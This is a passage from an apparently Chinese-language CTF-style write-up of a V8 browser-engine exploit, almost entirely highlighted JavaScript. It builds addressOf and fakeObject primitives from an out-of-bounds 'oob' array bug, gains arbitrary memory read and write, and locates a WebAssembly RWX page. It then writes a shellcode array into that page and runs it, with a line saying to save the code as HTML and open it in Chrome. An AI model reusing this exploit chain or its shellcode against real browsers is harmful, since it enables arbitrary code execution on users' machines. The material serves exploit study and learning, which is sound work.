punctuation">)</span><span class="token punctuation">&#123;</span>float_array<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>addr_to_fake<span class="token punctuation">)</span><span class="token punctuation">;</span>float_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span>obj_array_map<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> faked_obj <span class="token operator">=</span> float_array<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span>float_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span>float_array_map<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">return</span> faked_obj<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">var</span> buf <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> float64 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Float64Array</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> bigUint64 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BigUint64Array</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//float to integer</span><span class="token keyword">function</span> <span class="token function">f2i</span><span class="token punctuation">(</span><span class="token parameter">f</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>float64<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> f<span class="token punctuation">;</span><span class="token keyword">return</span> bigUint64<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">//integer to float</span><span class="token keyword">function</span> <span class="token function">i2f</span><span class="token punctuation">(</span><span class="token parameter">i</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>bigUint64<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> i<span class="token punctuation">;</span><span class="token keyword">return</span> float64<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">//hex</span><span class="token keyword">function</span> <span class="token function">hex</span><span class="token punctuation">(</span><span class="token parameter">i</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token keyword">return</span> i<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">padStart</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">,</span> <span class="token string">"0"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">//create fake array obj</span><span class="token keyword">var</span> fake_array <span class="token operator">=</span> <span class="token punctuation">[</span>    float_array_map<span class="token punctuation">,</span>    <span class="token function">i2f</span><span class="token punctuation">(</span><span class="token number">0n</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token function">i2f</span><span class="token punctuation">(</span><span class="token number">0x41414141n</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token function">i2f</span><span class="token punctuation">(</span><span class="token number">0x1000000000n</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token number">1.1</span><span class="token punctuation">,</span>    <span class="token number">2.2</span><span class="token punctuation">,</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">var</span> fake_obj_addr <span class="token operator">=</span> <span class="token function">addressOf</span><span class="token punctuation">(</span>fake_array<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0x40n</span> <span class="token operator">+</span> <span class="token number">0x10n</span><span class="token punctuation">;</span><span class="token keyword">var</span> fake_obj <span class="token operator">=</span> <span class="token function">fakeObject</span><span class="token punctuation">(</span>fake_obj_addr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">function</span> <span class="token function">read64</span><span class="token punctuation">(</span><span class="token parameter">addr</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>fake_array<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>addr <span class="token operator">-</span> <span class="token number">0x10n</span> <span class="token operator">+</span> <span class="token number">0x1n</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> data <span class="token operator">=</span> <span class="token function">f2i</span><span class="token punctuation">(</span>fake_obj<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">return</span> data<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">write64</span><span class="token punctuation">(</span><span class="token parameter">addr<span class="token punctuation">,</span> i</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>fake_array<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>addr <span class="token operator">-</span> <span class="token number">0x10n</span> <span class="token operator">+</span> <span class="token number">0x1n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>fake_obj<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">var</span> wasmCode <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Uint8Array</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">97</span><span class="token punctuation">,</span><span class="token number">115</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">133</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">96</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">127</span><span class="token punctuation">,</span><span class="token number">3</span><span class="token punctuation">,</span><span class="token number">130</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">4</span><span class="token punctuation">,</span><span class="token number">132</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">112</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">5</span><span class="token punctuation">,</span><span class="token number">131</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">6</span><span class="token punctuation">,</span><span class="token number">129</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">7</span><span class="token punctuation">,</span><span class="token number">145</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">6</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">101</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">111</span><span class="token punctuation">,</span><span class="token number">114</span><span class="token punctuation">,</span><span class="token number">121</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">4</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">97</span><span class="token punctuation">,</span><span class="token number">105</span><span class="token punctuation">,</span><span class="token number">110</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">10</span><span class="token punctuation">,</span><span class="token number">138</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">132</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">65</span><span class="token punctuation">,</span><span class="token number">42</span><span class="token punctuation">,</span><span class="token number">11</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> wasmModule <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WebAssembly<span class="token punctuation">.</span>Module</span><span class="token punctuation">(</span>wasmCode<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> wasmInstance <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WebAssembly<span class="token punctuation">.</span>Instance</span><span class="token punctuation">(</span>wasmModule<span class="token punctuation">,</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> f <span class="token operator">=</span> wasmInstance<span class="token punctuation">.</span>exports<span class="token punctuation">.</span>main<span class="token punctuation">;</span><span class="token keyword">var</span> f_addr <span class="token operator">=</span> <span class="token function">addressOf</span><span class="token punctuation">(</span>f<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0x1n</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'f_addr = 0x'</span> <span class="token operator">+</span> <span class="token function">hex</span><span class="token punctuation">(</span>f_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> shared_info_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>f_addr <span class="token operator">+</span> <span class="token number">0x18n</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0x1n</span><span class="token punctuation">;</span><span class="token keyword">var</span> wasm_exported_func_data_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>shared_info_addr <span class="token operator">+</span> <span class="token number">0x8n</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0x1n</span><span class="token punctuation">;</span><span class="token keyword">var</span> wasm_instance_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>wasm_exported_func_data_addr <span class="token operator">+</span> <span class="token number">0x10n</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0x1n</span><span class="token punctuation">;</span><span class="token keyword">var</span> rwx_page_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>wasm_instance_addr <span class="token operator">+</span> <span class="token number">0x88n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'rwx_page_addr = 0x'</span> <span class="token operator">+</span> <span class="token function">hex</span><span class="token punctuation">(</span>rwx_page_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> sc_arr <span class="token operator">=</span> <span class="token punctuation">[</span>    <span class="token number">0x10101010101b848n</span><span class="token punctuation">,</span>    <span class="token number">0x62792eb848500101n</span><span class="token punctuation">,</span>    <span class="token number">0x431480101626d60n</span><span class="token punctuation">,</span>    <span class="token number">0x2f7273752fb84824n</span><span class="token punctuation">,</span>    <span class="token number">0x48e78948506e6962n</span><span class="token punctuation">,</span>    <span class="token number">0x1010101010101b8n</span><span class="token punctuation">,</span>    <span class="token number">0x6d606279b8485001n</span><span class="token punctuation">,</span>    <span class="token number">0x2404314801010162n</span><span class="token punctuation">,</span>    <span class="token number">0x1485e086a56f631n</span><span class="token punctuation">,</span>    <span class="token number">0x313b68e6894856e6n</span><span class="token punctuation">,</span>    <span class="token number">0x101012434810101n</span><span class="token punctuation">,</span>    <span class="token number">0x4c50534944b84801n</span><span class="token punctuation">,</span>    <span class="token number">0x6a52d231503d5941n</span><span class="token punctuation">,</span>    <span class="token number">0x894852e201485a08n</span><span class="token punctuation">,</span>    <span class="token number">0x50f583b6ae2n</span><span class="token punctuation">,</span><span class="token punctuation">]</span><span class="token keyword">var</span> buffer <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span>sc_arr<span class="token punctuation">.</span>length <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> data_view <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DataView</span><span class="token punctuation">(</span>buffer<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> buf_backing_store_addr <span class="token operator">=</span> <span class="token function">addressOf</span><span class="token punctuation">(</span>buffer<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1n</span> <span class="token operator">+</span> <span class="token number">0x20n</span><span class="token punctuation">;</span><span class="token function">write64</span><span class="token punctuation">(</span>buf_backing_store_addr<span class="token punctuation">,</span> rwx_page_addr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> sc_arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>data_view<span class="token punctuation">.</span><span class="token function">setFloat64</span><span class="token punctuation">(</span>i <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">,</span> <span class="token function">i2f</span><span class="token punctuation">(</span>sc_arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>写成 html 文件，让 chrome 打开：</p><pre class="line-numbers language-html" data-language="html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"><span class="token keyword">var</span> obj <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token string">"a"</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">var</span> obj_array <span class="token operator">=</span> <span class="token punctuation">[</span>obj<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">var</span> float_array <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1.1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token comment">// leak map</span><span class="token keyword">var</span> obj_array_map <span class="token operator">=</span> obj_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> float_array_map <span class="token operator">=</span> float_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//leak address of obj</span><span class="token comment">//obj_to_leak: Object</span><span class="token comment">//return: integer</span><span class="token keyword">function</span> <span class="token function">addressOf</span><span class="token punctuation">(</span><span class="token parameter">obj_to_leak</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>obj_array<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> obj_to_leak<span class="token punctuation">;</span>obj_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span>float_array_map<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">//类型混淆</span><span class="token keyword">let</span> obj_addr <span class="token operator">=</span> obj_array<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span>obj_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span>obj_array_map<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">//恢复类型</span><span class="token keyword">return</span> <span class="token function">f2i</span><span class="token punctuation">(</span>obj_addr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">//create fake object</span><span class="token comment">//addr_to_fake: interger</span><span class="token keyword">function</span> <span class="token function">fakeObject</span><span class="token punctuation">(</span><span class="token parameter">addr_to_fake</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>float_array<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>addr_to_fake<span class="token punctuation">)</span><span class="token punctuation">;</span>float_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span>obj_array_map<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> faked_obj <span class="token operator">=</span> float_array<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span>float_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span>float_array_map<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">return</span> faked_obj<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">var</span> buf <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> float64 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Float64Array</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> bigUint64 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BigUint64Array</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//float to integer</span><span class="token keyword">function</span> <span class="token function">f2i</span><span class="token punctuation">(</span><span class="token parameter">f</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>float64<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> f<span class="token punctuation">;</span><span class="token keyword">return</span> bigUint64<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">//integer to float</span><span class="token keyword">function</span> <span class="token function">i2f</span><span class="token punctuation">(</span><span class="token parameter">i</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>bigUint64<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> i<span class="token punctuation">;</span><span class="token keyword">return</span> float64<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">//hex</span><span class="token keyword">function</span> <span class="token function">hex</span><span class="token punctuation">(</span><span class="token parameter">i</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token keyword">return</span> i<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">padStart</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">,</span> <span class="token string">"0"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">//create fake array obj</span><span class="token keyword">var</span> fake_array <span class="token operator">=</span> <span class="token punctuation">[</span>    float_array_map<span class="token punctuation">,</span>    <span class="token function">i2f</span><span class="token punctuation">(</span><span class="token number">0n</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token function">i2f</span><span class="token punctuation">(</span><span class="token number">0x41414141n</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token function">i2f</span><span class="token punctuation">(</span><span class="token number">0x1000000000n</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token number">1.1</span><span class="token punctuation">,</span>    <span class="token number">2.2</span><span class="token punctuation">,</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">var</span> fake_obj_addr <span class="token operator">=</span> <span class="token function">addressOf</span><span class="token punctuation">(</span>fake_array<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0x40n</span> <span class="token operator">+</span> <span class="token number">0x10n</span><span class="token punctuation">;</span><span class="token comment">//console.log('fake_obj_addr = ' + hex(fake_obj_addr));</span><span class="token keyword">var</span> fake_obj <span class="token operator">=</span> <span class="token function">fakeObject</span><span class="token punctuation">(</span>fake_obj_addr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">function</span> <span class="token function">read64</span><span class="token punctuation">(</span><span class="token parameter">addr</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>fake_array<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>addr <span class="token operator">-</span> <span class="token number">0x10n</span> <span class="token operator">+</span> <span class="token number">0x1n</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> data <span class="token operator">=</span> <span class="token function">f2i</span><span class="token punctuation">(</span>fake_obj<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">return</span> data<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">write64</span><span class="token punctuation">(</span><span class="token parameter">addr<span class="token punctuation">,</span> i</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>fake_array<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>addr <span class="token operator">-</span> <span class="token number">0x10n</span> <span class="token operator">+</span> <span class="token number">0x1n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>fake_obj<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">var</span> wasmCode <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Uint8Array</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">97</span><span class="token punctuation">,</span><span class="token number">115</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">133</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">96</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">127</span><span class="token punctuation">,</span><span class="token number">3</span><span class="token punctuation">,</span><span class="token number">130</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">4</span><span class="token punctuation">,</span><span class="token number">132</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">112</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">5</span><span class="token punctuation">,</span><span class="token number">131</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">6</span><span class="token punctuation">,</span><span class="token number">129</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">7</span><span class="token punctuation">,</span><span class="token number">145</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">6</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">101</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">111</span><span class="token punctuation">,</span><span class="token number">114</span><span class="token punctuation">,</span><span class="token number">121</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">4</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">97</span><span class="token punctuation">,</span><span class="token number">105</span><span class="token punctuation">,</span><span class="token number">110</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">10</span><span class="token punctuation">,</span><span class="token number">138</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">132</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">65</span><span class="token punctuation">,</span><span class="token number">42</span><span class="token punctuation">,</span><span class="token number">11</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> wasmModule <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WebAssembly<span class="token punctuation">.</span>Module</span><span class="token punctuation">(</span>wasmCode<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> wasmInstance <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token 